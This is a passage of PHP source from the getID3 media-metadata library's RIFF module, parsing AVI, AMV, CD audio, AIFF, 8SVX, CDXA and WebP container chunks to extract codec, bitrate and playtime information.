											$thisfile_riff_raw_strh_current['rcFrame']               = $this->EitherEndian2Int(substr($strhData, 48, 4));

											$thisfile_riff_video_current['codec'] = self::fourccLookup($thisfile_riff_raw_strh_current['fccHandler']);
											$thisfile_video['fourcc']             = $thisfile_riff_raw_strh_current['fccHandler'];
											if (!$thisfile_riff_video_current['codec'] && isset($thisfile_riff_raw_strf_strhfccType_streamindex['fourcc']) && self::fourccLookup($thisfile_riff_raw_strf_strhfccType_streamindex['fourcc'])) {
												$thisfile_riff_video_current['codec'] = self::fourccLookup($thisfile_riff_raw_strf_strhfccType_streamindex['fourcc']);
												$thisfile_video['fourcc']             = $thisfile_riff_raw_strf_strhfccType_streamindex['fourcc'];
											}
											$thisfile_video['codec']              = $thisfile_riff_video_current['codec'];
											$thisfile_video['pixel_aspect_ratio'] = (float) 1;
											switch ($thisfile_riff_raw_strh_current['fccHandler']) {
												case 'HFYU': // Huffman Lossless Codec
												case 'IRAW': // Intel YUV Uncompressed
												case 'YUY2': // Uncompressed YUV 4:2:2
													$thisfile_video['lossless'] = true;
													break;

												default:
													$thisfile_video['lossless'] = false;
													break;
											}

											switch ($strhfccType) {
												case 'vids':
													$thisfile_riff_raw_strf_strhfccType_streamindex = self::ParseBITMAPINFOHEADER(substr($strfData, 0, 40), ($this->container == 'riff'));
													$thisfile_video['bits_per_sample'] = $thisfile_riff_raw_strf_strhfccType_streamindex['biBitCount'];

													if ($thisfile_riff_video_current['codec'] == 'DV') {
														$thisfile_riff_video_current['dv_type'] = 2;
													}
													break;

												case 'iavs':
													$thisfile_riff_video_current['dv_type'] = 1;
													break;
											}
											break;

										default:
											$this->warning('Unhandled fccType for stream ('.$i.'): "'.$strhfccType.'"');
											break;

									}
								}
							}

							if (isset($thisfile_riff_raw_strf_strhfccType_streamindex['fourcc'])) {

								$thisfile_video['fourcc'] = $thisfile_riff_raw_strf_strhfccType_streamindex['fourcc'];
								if (self::fourccLookup($thisfile_video['fourcc'])) {
									$thisfile_riff_video_current['codec'] = self::fourccLookup($thisfile_video['fourcc']);
									$thisfile_video['codec']              = $thisfile_riff_video_current['codec'];
								}

								switch ($thisfile_riff_raw_strf_strhfccType_streamindex['fourcc']) {
									case 'HFYU': // Huffman Lossless Codec
									case 'IRAW': // Intel YUV Uncompressed
									case 'YUY2': // Uncompressed YUV 4:2:2
										$thisfile_video['lossless']        = true;
										//$thisfile_video['bits_per_sample'] = 24;
										break;

									default:
										$thisfile_video['lossless']        = false;
										//$thisfile_video['bits_per_sample'] = 24;
										break;
								}

							}
						}
					}
				}
				break;


			case 'AMV ':
				$info['fileformat'] = 'amv';
				$info['mime_type']  = 'video/amv';

				$thisfile_video['bitrate_mode']    = 'vbr'; // it's MJPEG, presumably contant-quality encoding, thereby VBR
				$thisfile_video['dataformat']      = 'mjpeg';
				$thisfile_video['codec']           = 'mjpeg';
				$thisfile_video['lossless']        = false;
				$thisfile_video['bits_per_sample'] = 24;

				$thisfile_audio['dataformat']   = 'adpcm';
				$thisfile_audio['lossless']     = false;
				break;


			// http://en.wikipedia.org/wiki/CD-DA
			case 'CDDA':
				$info['fileformat'] = 'cda';
			    unset($info['mime_type']);

				$thisfile_audio_dataformat      = 'cda';

				$info['avdataoffset'] = 44;

				if (isset($thisfile_riff['CDDA']['fmt '][0]['data'])) {
					// shortcut
					$thisfile_riff_CDDA_fmt_0 = &$thisfile_riff['CDDA']['fmt '][0];

					$thisfile_riff_CDDA_fmt_0['unknown1']           = $this->EitherEndian2Int(substr($thisfile_riff_CDDA_fmt_0['data'],  0, 2));
					$thisfile_riff_CDDA_fmt_0['track_num']          = $this->EitherEndian2Int(substr($thisfile_riff_CDDA_fmt_0['data'],  2, 2));
					$thisfile_riff_CDDA_fmt_0['disc_id']            = $this->EitherEndian2Int(substr($thisfile_riff_CDDA_fmt_0['data'],  4, 4));
					$thisfile_riff_CDDA_fmt_0['start_offset_frame'] = $this->EitherEndian2Int(substr($thisfile_riff_CDDA_fmt_0['data'],  8, 4));
					$thisfile_riff_CDDA_fmt_0['playtime_frames']    = $this->EitherEndian2Int(substr($thisfile_riff_CDDA_fmt_0['data'], 12, 4));
					$thisfile_riff_CDDA_fmt_0['unknown6']           = $this->EitherEndian2Int(substr($thisfile_riff_CDDA_fmt_0['data'], 16, 4));
					$thisfile_riff_CDDA_fmt_0['unknown7']           = $this->EitherEndian2Int(substr($thisfile_riff_CDDA_fmt_0['data'], 20, 4));

					$thisfile_riff_CDDA_fmt_0['start_offset_seconds'] = (float) $thisfile_riff_CDDA_fmt_0['start_offset_frame'] / 75;
					$thisfile_riff_CDDA_fmt_0['playtime_seconds']     = (float) $thisfile_riff_CDDA_fmt_0['playtime_frames'] / 75;
					$info['comments']['track']                = $thisfile_riff_CDDA_fmt_0['track_num'];
					$info['playtime_seconds']                 = $thisfile_riff_CDDA_fmt_0['playtime_seconds'];

					// hardcoded data for CD-audio
					$thisfile_audio['lossless']        = true;
					$thisfile_audio['sample_rate']     = 44100;
					$thisfile_audio['channels']        = 2;
					$thisfile_audio['bits_per_sample'] = 16;
					$thisfile_audio['bitrate']         = $thisfile_audio['sample_rate'] * $thisfile_audio['channels'] * $thisfile_audio['bits_per_sample'];
					$thisfile_audio['bitrate_mode']    = 'cbr';
				}
				break;

            // http://en.wikipedia.org/wiki/AIFF
			case 'AIFF':
			case 'AIFC':
				$info['fileformat'] = 'aiff';
				$info['mime_type']  = 'audio/x-aiff';

				$thisfile_audio['bitrate_mode'] = 'cbr';
				$thisfile_audio_dataformat      = 'aiff';
				$thisfile_audio['lossless']     = true;

				if (isset($thisfile_riff[$RIFFsubtype]['SSND'][0]['offset'])) {
					$info['avdataoffset'] = $thisfile_riff[$RIFFsubtype]['SSND'][0]['offset'] + 8;
					$info['avdataend']    = $info['avdataoffset'] + $thisfile_riff[$RIFFsubtype]['SSND'][0]['size'];
					if ($info['avdataend'] > $info['filesize']) {
						if (($info['avdataend'] == ($info['filesize'] + 1)) && (($info['filesize'] % 2) == 1)) {
							// structures rounded to 2-byte boundary, but dumb encoders
							// forget to pad end of file to make this actually work
						} else {
							$this->warning('Probable truncated AIFF file: expecting '.$thisfile_riff[$RIFFsubtype]['SSND'][0]['size'].' bytes of audio data, only '.($info['filesize'] - $info['avdataoffset']).' bytes found');
						}
						$info['avdataend'] = $info['filesize'];
					}
				}

				if (isset($thisfile_riff[$RIFFsubtype]['COMM'][0]['data'])) {

					// shortcut
					$thisfile_riff_RIFFsubtype_COMM_0_data = &$thisfile_riff[$RIFFsubtype]['COMM'][0]['data'];

					$thisfile_riff_audio['channels']         =         getid3_lib::BigEndian2Int(substr($thisfile_riff_RIFFsubtype_COMM_0_data,  0,  2), true);
					$thisfile_riff_audio['total_samples']    =         getid3_lib::BigEndian2Int(substr($thisfile_riff_RIFFsubtype_COMM_0_data,  2,  4), false);
					$thisfile_riff_audio['bits_per_sample']  =         getid3_lib::BigEndian2Int(substr($thisfile_riff_RIFFsubtype_COMM_0_data,  6,  2), true);
					$thisfile_riff_audio['sample_rate']      = (int) getid3_lib::BigEndian2Float(substr($thisfile_riff_RIFFsubtype_COMM_0_data,  8, 10));

					if ($thisfile_riff[$RIFFsubtype]['COMM'][0]['size'] > 18) {
						$thisfile_riff_audio['codec_fourcc'] =                                   substr($thisfile_riff_RIFFsubtype_COMM_0_data, 18,  4);
						$CodecNameSize                       =         getid3_lib::BigEndian2Int(substr($thisfile_riff_RIFFsubtype_COMM_0_data, 22,  1), false);
						$thisfile_riff_audio['codec_name']   =                                   substr($thisfile_riff_RIFFsubtype_COMM_0_data, 23,  $CodecNameSize);
						switch ($thisfile_riff_audio['codec_name']) {
							case 'NONE':
								$thisfile_audio['codec']    = 'Pulse Code Modulation (PCM)';
								$thisfile_audio['lossless'] = true;
								break;

							case '':
								switch ($thisfile_riff_audio['codec_fourcc']) {
									// http://developer.apple.com/qa/snd/snd07.html
									case 'sowt':
										$thisfile_riff_audio['codec_name'] = 'Two\'s Compliment Little-Endian PCM';
										$thisfile_audio['lossless'] = true;
										break;

									case 'twos':
										$thisfile_riff_audio['codec_name'] = 'Two\'s Compliment Big-Endian PCM';
										$thisfile_audio['lossless'] = true;
										break;

									default:
										break;
								}
								break;

							default:
								$thisfile_audio['codec']    = $thisfile_riff_audio['codec_name'];
								$thisfile_audio['lossless'] = false;
								break;
						}
					}

					$thisfile_audio['channels']        = $thisfile_riff_audio['channels'];
					if ($thisfile_riff_audio['bits_per_sample'] > 0) {
						$thisfile_audio['bits_per_sample'] = $thisfile_riff_audio['bits_per_sample'];
					}
					$thisfile_audio['sample_rate']     = $thisfile_riff_audio['sample_rate'];
					if ($thisfile_audio['sample_rate'] == 0) {
						$this->error('Corrupted AIFF file: sample_rate == zero');
						return false;
					}
					$info['playtime_seconds'] = $thisfile_riff_audio['total_samples'] / $thisfile_audio['sample_rate'];
				}

				if (isset($thisfile_riff[$RIFFsubtype]['COMT'])) {
					$offset = 0;
					$CommentCount                                   = getid3_lib::BigEndian2Int(substr($thisfile_riff[$RIFFsubtype]['COMT'][0]['data'], $offset, 2), false);
					$offset += 2;
					for ($i = 0; $i < $CommentCount; $i++) {
						$info['comments_raw'][$i]['timestamp']      = getid3_lib::BigEndian2Int(substr($thisfile_riff[$RIFFsubtype]['COMT'][0]['data'], $offset, 4), false);
						$offset += 4;
						$info['comments_raw'][$i]['marker_id']      = getid3_lib::BigEndian2Int(substr($thisfile_riff[$RIFFsubtype]['COMT'][0]['data'], $offset, 2), true);
						$offset += 2;
						$CommentLength                              = getid3_lib::BigEndian2Int(substr($thisfile_riff[$RIFFsubtype]['COMT'][0]['data'], $offset, 2), false);
						$offset += 2;
						$info['comments_raw'][$i]['comment']        =                           substr($thisfile_riff[$RIFFsubtype]['COMT'][0]['data'], $offset, $CommentLength);
						$offset += $CommentLength;

						$info['comments_raw'][$i]['timestamp_unix'] = getid3_lib::DateMac2Unix($info['comments_raw'][$i]['timestamp']);
						$thisfile_riff['comments']['comment'][] = $info['comments_raw'][$i]['comment'];
					}
				}

				$CommentsChunkNames = array('NAME'=>'title', 'author'=>'artist', '(c) '=>'copyright', 'ANNO'=>'comment');
				foreach ($CommentsChunkNames as $key => $value) {
					if (isset($thisfile_riff[$RIFFsubtype][$key][0]['data'])) {
						$thisfile_riff['comments'][$value][] = $thisfile_riff[$RIFFsubtype][$key][0]['data'];
					}
				}
/*
				if (isset($thisfile_riff[$RIFFsubtype]['ID3 '])) {
					getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.tag.id3v2.php', __FILE__, true);
					$getid3_temp = new getID3();
					$getid3_temp->openfile($this->getid3->filename);
					$getid3_id3v2 = new getid3_id3v2($getid3_temp);
					$getid3_id3v2->StartingOffset = $thisfile_riff[$RIFFsubtype]['ID3 '][0]['offset'] + 8;
					if ($thisfile_riff[$RIFFsubtype]['ID3 '][0]['valid'] = $getid3_id3v2->Analyze()) {
						$info['id3v2'] = $getid3_temp->info['id3v2'];
					}
					unset($getid3_temp, $getid3_id3v2);
				}
*/
				break;

			// http://en.wikipedia.org/wiki/8SVX
			case '8SVX':
				$info['fileformat'] = '8svx';
				$info['mime_type']  = 'audio/8svx';

				$thisfile_audio['bitrate_mode']    = 'cbr';
				$thisfile_audio_dataformat         = '8svx';
				$thisfile_audio['bits_per_sample'] = 8;
				$thisfile_audio['channels']        = 1; // overridden below, if need be

				if (isset($thisfile_riff[$RIFFsubtype]['BODY'][0]['offset'])) {
					$info['avdataoffset'] = $thisfile_riff[$RIFFsubtype]['BODY'][0]['offset'] + 8;
					$info['avdataend']    = $info['avdataoffset'] + $thisfile_riff[$RIFFsubtype]['BODY'][0]['size'];
					if ($info['avdataend'] > $info['filesize']) {
						$this->warning('Probable truncated AIFF file: expecting '.$thisfile_riff[$RIFFsubtype]['BODY'][0]['size'].' bytes of audio data, only '.($info['filesize'] - $info['avdataoffset']).' bytes found');
					}
				}

				if (isset($thisfile_riff[$RIFFsubtype]['VHDR'][0]['offset'])) {
					// shortcut
					$thisfile_riff_RIFFsubtype_VHDR_0 = &$thisfile_riff[$RIFFsubtype]['VHDR'][0];

					$thisfile_riff_RIFFsubtype_VHDR_0['oneShotHiSamples']  =   getid3_lib::BigEndian2Int(substr($thisfile_riff_RIFFsubtype_VHDR_0['data'],  0, 4));
					$thisfile_riff_RIFFsubtype_VHDR_0['repeatHiSamples']   =   getid3_lib::BigEndian2Int(substr($thisfile_riff_RIFFsubtype_VHDR_0['data'],  4, 4));
					$thisfile_riff_RIFFsubtype_VHDR_0['samplesPerHiCycle'] =   getid3_lib::BigEndian2Int(substr($thisfile_riff_RIFFsubtype_VHDR_0['data'],  8, 4));
					$thisfile_riff_RIFFsubtype_VHDR_0['samplesPerSec']     =   getid3_lib::BigEndian2Int(substr($thisfile_riff_RIFFsubtype_VHDR_0['data'], 12, 2));
					$thisfile_riff_RIFFsubtype_VHDR_0['ctOctave']          =   getid3_lib::BigEndian2Int(substr($thisfile_riff_RIFFsubtype_VHDR_0['data'], 14, 1));
					$thisfile_riff_RIFFsubtype_VHDR_0['sCompression']      =   getid3_lib::BigEndian2Int(substr($thisfile_riff_RIFFsubtype_VHDR_0['data'], 15, 1));
					$thisfile_riff_RIFFsubtype_VHDR_0['Volume']            = getid3_lib::FixedPoint16_16(substr($thisfile_riff_RIFFsubtype_VHDR_0['data'], 16, 4));

					$thisfile_audio['sample_rate'] = $thisfile_riff_RIFFsubtype_VHDR_0['samplesPerSec'];

					switch ($thisfile_riff_RIFFsubtype_VHDR_0['sCompression']) {
						case 0:
							$thisfile_audio['codec']    = 'Pulse Code Modulation (PCM)';
							$thisfile_audio['lossless'] = true;
							$ActualBitsPerSample        = 8;
							break;

						case 1:
							$thisfile_audio['codec']    = 'Fibonacci-delta encoding';
							$thisfile_audio['lossless'] = false;
							$ActualBitsPerSample        = 4;
							break;

						default:
							$this->warning('Unexpected sCompression value in 8SVX.VHDR chunk - expecting 0 or 1, found "'.sCompression.'"');
							break;
					}
				}

				if (isset($thisfile_riff[$RIFFsubtype]['CHAN'][0]['data'])) {
					$ChannelsIndex = getid3_lib::BigEndian2Int(substr($thisfile_riff[$RIFFsubtype]['CHAN'][0]['data'], 0, 4));
					switch ($ChannelsIndex) {
						case 6: // Stereo
							$thisfile_audio['channels'] = 2;
							break;

						case 2: // Left channel only
						case 4: // Right channel only
							$thisfile_audio['channels'] = 1;
							break;

						default:
							$this->warning('Unexpected value in 8SVX.CHAN chunk - expecting 2 or 4 or 6, found "'.$ChannelsIndex.'"');
							break;
					}

				}

				$CommentsChunkNames = array('NAME'=>'title', 'author'=>'artist', '(c) '=>'copyright', 'ANNO'=>'comment');
				foreach ($CommentsChunkNames as $key => $value) {
					if (isset($thisfile_riff[$RIFFsubtype][$key][0]['data'])) {
						$thisfile_riff['comments'][$value][] = $thisfile_riff[$RIFFsubtype][$key][0]['data'];
					}
				}

				$thisfile_audio['bitrate'] = $thisfile_audio['sample_rate'] * $ActualBitsPerSample * $thisfile_audio['channels'];
				if (!empty($thisfile_audio['bitrate'])) {
					$info['playtime_seconds'] = ($info['avdataend'] - $info['avdataoffset']) / ($thisfile_audio['bitrate'] / 8);
				}
				break;

			case 'CDXA':
				$info['fileformat'] = 'vcd'; // Asume Video CD
				$info['mime_type']  = 'video/mpeg';

				if (!empty($thisfile_riff['CDXA']['data'][0]['size'])) {
					getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.audio-video.mpeg.php', __FILE__, true);

					$getid3_temp = new getID3();
					$getid3_temp->openfile($this->getid3->filename);
					$getid3_mpeg = new getid3_mpeg($getid3_temp);
					$getid3_mpeg->Analyze();
					if (empty($getid3_temp->info['error'])) {
						$info['audio']   = $getid3_temp->info['audio'];
						$info['video']   = $getid3_temp->info['video'];
						$info['mpeg']    = $getid3_temp->info['mpeg'];
						$info['warning'] = $getid3_temp->info['warning'];
					}
					unset($getid3_temp, $getid3_mpeg);
				}
				break;

			case 'WEBP':
				// https://developers.google.com/speed/webp/docs/riff_container
				$info['fileformat'] = 'webp';
				$info['mime_type']  = 'image/webp';

$this->error('WebP image parsing not supported in this version of getID3()');
				break;

			default:
				$this->error('Unknown RIFF type: expecting one of (WAVE|RMP3|AVI |CDDA|AIFF|AIFC|8SVX|CDXA|WEBP), found "'.$RIFFsubtype.'" instead');
				//unset($info['fileformat']);
		}

		switch ($RIFFsubtype) {
			case 'WAVE':
			case 'AIFF':
			case 'AIFC':
				$ID3v2_key_good = 'id3 ';
				$ID3v2_keys_bad = array('ID3 ', 'tag ');
				foreach ($ID3v2_keys_bad as $ID3v2_key_bad) {
					if (isset($thisfile_riff[$RIFFsubtype][$ID3v2_key_bad]) && !array_key_exists($ID3v2_key_good, $thisfile_riff[$RIFFsubtype])) {
						$thisfile_riff[$RIFFsubtype][$ID3v2_key_good] = $thisfile_riff[$RIFFsubtype][$ID3v2_key_bad];
						$this->warning('mapping "'.$ID3v2_key_bad.'" chunk to "'.$ID3v2_key_good.'"');
					}
				}

				if (isset($thisfile_riff[$RIFFsubtype]['id3 '])) {
					getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.tag.id3v2.php', __FILE__, true);

					$getid3_temp = new getID3();
					$getid3_temp->openfile($this->getid3->filename);
					$getid3_id3v2 = new getid3_id3v2($getid3_temp);
					$getid3_id3v2->StartingOffset = $thisfile_riff[$RIFFsubtype]['id3 '][0]['offset'] + 8;
					if ($thisfile_riff[$RIFFsubtype]['id3 '][0]['valid'] = $getid3_id3v2->Analyze()) {
						$info['id3v2'] = $getid3_temp->info['id3v2'];
					}
					unset($getid3_temp, $getid3_id3v2);
				}
				break;
		}

		if (isset($thisfile_riff_WAVE['DISP']) && is_array($thisfile_riff_WAVE['DISP'])) {
			$thisfile_riff['comments']['title'][] = trim(substr($thisfile_riff_WAVE['DISP'][count($thisfile_riff_WAVE['DISP']) - 1]['data'], 4));
		}
		if (isset($thisfile_riff_WAVE['INFO']) && is_array($thisfile_riff_WAVE['INFO'])) {
			self::parseComments($thisfile_riff_WAVE['INFO'], $thisfile_riff['comments']);
		}
		if (isset($thisfile_riff['AVI ']['INFO']) && is_array($thisfile_riff['AVI ']['INFO'])) {
			self::parseComments($thisfile_riff['AVI ']['INFO'], $thisfile_riff['comments']);
		}

		if (empty($thisfile_audio['encoder']) && !empty($info['mpeg']['audio']['LAME']['short_version'])) {
			$thisfile_audio['encoder'] = $info['mpeg']['audio']['LAME']['short_version'];
		}

		if (!isset($info['playtime_seconds'])) {
			$info['playtime_seconds'] = 0;
		}
		if (isset($thisfile_riff_raw['strh'][0]['dwLength']) && isset($thisfile_riff_raw['avih']['dwMicroSecPerFrame'])) {
			// needed for >2GB AVIs where 'avih' chunk only lists number of frames in that chunk, not entire movie
			$info['playtime_seconds'] = $thisfile_riff_raw['strh'][0]['dwLength'] * ($thisfile_riff_raw['avih']['dwMicroSecPerFrame'] / 1000000);
		} elseif (isset($thisfile_riff_raw['avih']['dwTotalFrames']) && isset($thisfile_riff_raw['avih']['dwMicroSecPerFrame'])) {
			$info['playtime_seconds'] = $thisfile_riff_raw['avih']['dwTotalFrames'] * ($thisfile_riff_raw['avih']['dwMicroSecPerFrame'] / 1000000);
		}

		if ($info['playtime_seconds'] > 0) {
			if (isset($thisfile_riff_audio) && isset($thisfile_riff_video)) {

				if (!isset($info['bitrate'])) {
					$info['bitrate'] = ((($info['avdataend'] - $info['avdataoffset']) / $info['playtime_seconds']) * 8);
				}

			} elseif (isset($thisfile_riff_audio) && !isset($thisfile_riff_video)) {

				if (!isset($thisfile_audio['bitrate'])) {
					$thisfile_audio['bitrate'] = ((($info['avdataend'] - $info['avdataoffset']) / $info['playtime_seconds']) * 8);
				}

			} elseif (!isset($thisfile_riff_audio) && isset($thisfile_riff_video)) {

				if (!isset($thisfile_video['bitrate'])) {
					$thisfile_video['bitrate'] = ((($info['avdataend'] - $info['avdataoffset']) / $info['playtime_seconds']) * 8);
				}

			}
		}


		if (isset($thisfile_riff_video) && isset($thisfile_audio['bitrate']) && ($thisfile_audio['bitrate'] > 0) && ($info['playtime_seconds'] > 0)) {

			$info['bitrate'] = ((($info['avdataend'] - $info['avdataoffset']) / $info['playtime_seconds']) * 8);
			$thisfile_audio['bitrate'] = 0;
			$thisfile_video['bitrate'] = $info['bitrate'];
			foreach ($thisfile_riff_audio as $channelnumber => $audioinfoarray) {
				$thisfile_video['bitrate'] -= $audioinfoarray['bitrate'];
				$thisfile_audio['bitrate'] += $audioinfoarray['bitrate'];
			}
			if ($thisfile_video['bitrate'] <= 0) {
				unset($thisfile_video['bitrate']);
			}
			if ($thisfile_audio['bitrate'] <= 0) {
				unset($thisfile_audio['bitrate']);
			}
		}

		if (isset($info['mpeg']['audio'])) {
			$thisfile_audio_dataformat      = 'mp'.$info['mpeg']['audio']['layer'];
			$thisfile_audio['sample_rate']  = $info['mpeg']['audio']['sample_rate'];
			$thisfile_audio['channels']     = $info['mpeg']['audio']['channels'];
			$thisfile_audio['bitrate']      = $info['mpeg']['audio']['bitrate'];
			$thisfile_audio['bitrate_mode'] = strtolower($info['mpeg']['audio']['bitrate_mode']);
			if (!empty($info['mpeg']['audio']['codec'])) {
				$thisfile_audio['codec'] = $info['mpeg']['audio']['codec'].' '.$thisfile_audio['codec'];
			}
			if (!empty($thisfile_audio['streams'])) {
				foreach ($thisfile_audio['streams'] as $streamnumber => $streamdata) {
					if ($streamdata['dataformat'] == $thisfile_audio_dataformat) {
						$thisfile_audio['streams'][$streamnumber]['sample_rate']  = $thisfile_audio['sample_rate'];
						$thisfile_audio['streams'][$streamnumber]['channels']     = $thisfile_audio['channels'];
						$thisfile_audio['streams'][$streamnumber]['bitrate']      = $thisfile_audio['bitrate'];
						$thisfile_audio['streams'][$streamnumber]['bitrate_mode'] = $thisfile_audio['bitrate_mode'];
						$thisfile_audio['streams'][$streamnumber]['codec']        = $thisfile_audio['codec'];
					}
				}
			}
			$getid3_mp3 = new getid3_mp3($this->getid3);
			$thisfile_audio['encoder_options'] = $getid3_mp3->GuessEncoderOptions();
			unset($getid3_mp3);
		}


		if (!empty($thisfile_riff_raw['fmt ']['wBitsPerSample']) && ($thisfile_riff_raw['fmt ']['wBitsPerSample'] > 0)) {
			switch ($thisfile_audio_dataformat) {
				case 'ac3':
					// ignore bits_per_sample
					break;

				default:
					$thisfile_audio['bits_per_sample'] = $thisfile_riff_raw['fmt ']['wBitsPerSample'];
					break;
			}
		}


		if (empty($thisfile_riff_raw)) {
			unset($thisfile_riff['raw']);
		}
		if (empty($thisfile_riff_audio)) {
			unset($thisfile_riff['audio']);
		}
		if (empty($thisfile_riff_video)) {
			unset($thisfile_riff['video']);
		}

		return true;
	}

	public function ParseRIFFAMV($startoffset, $maxoffset) {
		// AMV files are RIFF-AVI files with parts of the spec deliberately broken, such as chunk size fields hardcoded to zero (because players known in hardware that these fields are always a certain size

		// https://code.google.com/p/amv-codec-tools/wiki/AmvDocumentation
		//typedef struct _amvmainheader {
		//FOURCC fcc; // 'amvh'
		//DWORD cb;
		//DWORD dwMicroSecPerFrame;
		//BYTE reserve[28];
		//DWORD dwWidth;
		//DWORD dwHeight;
		//DWORD dwSpeed;
		//DWORD reserve0;
		//DWORD reserve1;
		//BYTE bTimeSec;
		//BYTE bTimeMin;
		//WORD wTimeHour;
		//} AMVMAINHEADER;

		$info = &$this->getid3->info;
		$RIFFchunk = false;

		try {

			$this->fseek($startoffset);
			$maxoffset = min($maxoffset, $info['avdataend']);
			$AMVheader = $this->fread(284);
			if (substr($AMVheader,   0,  8) != 'hdrlamvh') {
				throw new Exception('expecting "hdrlamv" at offset '.($startoffset +   0).', found "'.substr($AMVheader,   0, 8).'"');
			}
			if (substr($AMVheader,   8,  4) != "\x38\x00\x00\x00") { // "amvh" chunk size, hardcoded to 0x38 = 56 bytes
				throw new Exception('expecting "0x38000000" at offset '.($startoffset +   8).', found "'.getid3_lib::PrintHexBytes(substr($AMVheader,   8, 4)).'"');
			}
			$RIFFchunk = array();
			$RIFFchunk['amvh']['us_per_frame']   = getid3_lib::LittleEndian2Int(substr($AMVheader,  12,  4));
			$RIFFchunk['amvh']['reserved28']     =                              substr($AMVheader,  16, 28);  // null? reserved?
			$RIFFchunk['amvh']['resolution_x']   = getid3_lib::LittleEndian2Int(substr($AMVheader,  44,  4));
			$RIFFchunk['amvh']['resolution_y']   = getid3_lib::LittleEndian2Int(substr($AMVheader,  48,  4));
			$RIFFchunk['amvh']['frame_rate_int'] = getid3_lib::LittleEndian2Int(substr($AMVheader,  52,  4));
			$RIFFchunk['amvh']['reserved0']      = getid3_lib::LittleEndian2Int(substr($AMVheader,  56,  4)); // 1? reserved?
			$RIFFchunk['amvh']['reserved1']      = getid3_lib::LittleEndian2Int(substr($AMVheader,  60,  4)); // 0? reserved?
			$RIFFchunk['amvh']['runtime_sec']    = getid3_lib::LittleEndian2Int(substr($AMVheader,  64,  1));
			$RIFFchunk['amvh']['runtime_min']    = getid3_lib::LittleEndian2Int(substr($AMVheader,  65,  1));
			$RIFFchunk['amvh']['runtime_hrs']    = getid3_lib::LittleEndian2Int(substr($AMVheader,  66,  2));

			$info['video']['frame_rate']   = 1000000 / $RIFFchunk['amvh']['us_per_frame'];
			$info['video']['resolution_x'] = $RIFFchunk['amvh']['resolution_x'];
			$info['video']['resolution_y'] = $RIFFchunk['amvh']['resolution_y'];
			$info['playtime_seconds']      = ($RIFFchunk['amvh']['runtime_hrs'] * 3600) + ($RIFFchunk['amvh']['runtime_min'] * 60) + $RIFFchunk['amvh']['runtime_sec'];

			// the rest is all hardcoded(?) and does not appear to be useful until you get to audio info at offset 256, even then everything is probably hardcoded

			if (substr($AMVheader,  68, 20) != 'LIST'."\x00\x00\x00\x00".'strlstrh'."\x38\x00\x00\x00") {
				throw new Exception('expecting "LIST<0x00000000>strlstrh<0x38000000>" at offset '.($startoffset +  68).', found "'.getid3_lib::PrintHexBytes(substr($AMVheader,  68, 20)).'"');
			}
			// followed by 56 bytes of null: substr($AMVheader,  88, 56) -> 144
			if (substr($AMVheader, 144,  8) != 'strf'."\x24\x00\x00\x00") {
				throw new Exception('expecting "strf<0x24000000>" at offset '.($startoffset + 144).', found "'.getid3_lib::PrintHexBytes(substr($AMVheader, 144,  8)).'"');
			}
			// followed by 36 bytes of null: substr($AMVheader, 144, 36) -> 180

			if (substr($AMVheader, 188, 20) != 'LIST'."\x00\x00\x00\x00".'strlstrh'."\x30\x00\x00\x00") {
				throw new Exception('expecting "LIST<0x00000000>strlstrh<0x30000000>" at offset '.($startoffset + 188).', found "'.getid3_lib::PrintHexBytes(substr($AMVheader, 188, 20)).'"');
			}
			// followed by 48 bytes of null: substr($AMVheader, 208, 48) -> 256
			if (substr($AMVheader, 256,  8) != 'strf'."\x14\x00\x00\x00") {
				throw new Exception('expecting "strf<0x14000000>" at offset '.($startoffset + 256).', found "'.getid3_lib::PrintHexBytes(substr($AMVheader, 256,  8)).'"');
			}
			// followed by 20 bytes of a modified WAVEFORMATEX:
			// typedef struct {
			// WORD wFormatTag;       //(Fixme: this is equal to PCM's 0x01 format code)
			// WORD nChannels;        //(Fixme: this is always 1)
			// DWORD nSamplesPerSec;  //(Fixme: for all known sample files this is equal to 22050)
			// DWORD nAvgBytesPerSec; //(Fixme: for all known sample files this is equal to 44100)
			// WORD nBlockAlign;      //(Fixme: this seems to be 2 in AMV files, is this correct ?)
			// WORD wBitsPerSample;   //(Fixme: this seems to be 16 in AMV files instead of the expected 4)
			// WORD cbSize;           //(Fixme: this seems to be 0 in AMV files)
			// WORD reserved;
			// } WAVEFORMATEX;
			$RIFFchunk['strf']['wformattag']      = getid3_lib::LittleEndian2Int(substr($AMVheader,  264,  2));
			$RIFFchunk['strf']['nchannels']       = getid3_lib::LittleEndian2Int(substr($AMVheader,  266,  2));
			$RIFFchunk['strf']['nsamplespersec']  = getid3_lib::LittleEndian2Int(substr($AMVheader,  268,  4));
			$RIFFchunk['strf']['navgbytespersec'] = getid3_lib::LittleEndian2Int(substr($AMVheader,  272,  4));
			$RIFFchunk['strf']['nblockalign']     = getid3_lib::LittleEndian2Int(substr($AMVheader,  276,  2));
			$RIFFchunk['strf']['wbitspersample']  = getid3_lib::LittleEndian2Int(substr($AMVheader,  278,  2));
			$RIFFchunk['strf']['cbsize']          = getid3_lib::LittleEndian2Int(substr($AMVheader,  280,  2));
			$RIFFchunk['strf']['reserved']        = getid3_lib::LittleEndian2Int(substr($AMVheader,  282,  2));


			$info['audio']['lossless']        = false;
			$info['audio']['sample_rate']     = $RIFFchunk['strf']['nsamplespersec'];
			$info['audio']['channels']        = $RIFFchunk['strf']['nchannels'];
			$info['audio']['bits_per_sample'] = $RIFFchunk['strf']['wbitspersample'];
			$info['audio']['bitrate']         = $info['audio']['sample_rate'] * $info['audio']['channels'] * $info['audio']['bits_per_sample'];
			$info['audio']['bitrate_mode']    = 'cbr';


		} catch (getid3_exception $e) {
			if ($e->getCode() == 10) {
				$this->warning('RIFFAMV parser: '.$e->getMessage());
			} else {
				throw $e;
			}
		}

		return $RIFFchunk;
	}


	public function ParseRIFF($startoffset, $maxoffset) {
		$info = &$this->getid3->info;

		$RIFFchunk = false;
		$FoundAllChunksWeNeed = false;

		try {
			$this->fseek($startoffset);
			$maxoffset = min($maxoffset, $info['avdataend']);
			while ($this->ftell() < $maxoffset) {
				$chunknamesize = $this->fread(8);
				//$chunkname =                          substr($chunknamesize, 0, 4);
				$chunkname = str_replace("\x00", '_', substr($chunknamesize, 0, 4));  // note: chunk names of 4 null bytes do appear to be legal (has been observed inside INFO and PRMI chunks, for example), but makes traversing array keys more difficult
				$chunksize =  $this->EitherEndian2Int(substr($chunknamesize, 4, 4));
				//if (strlen(trim($chunkname, "\x00")) < 4) {
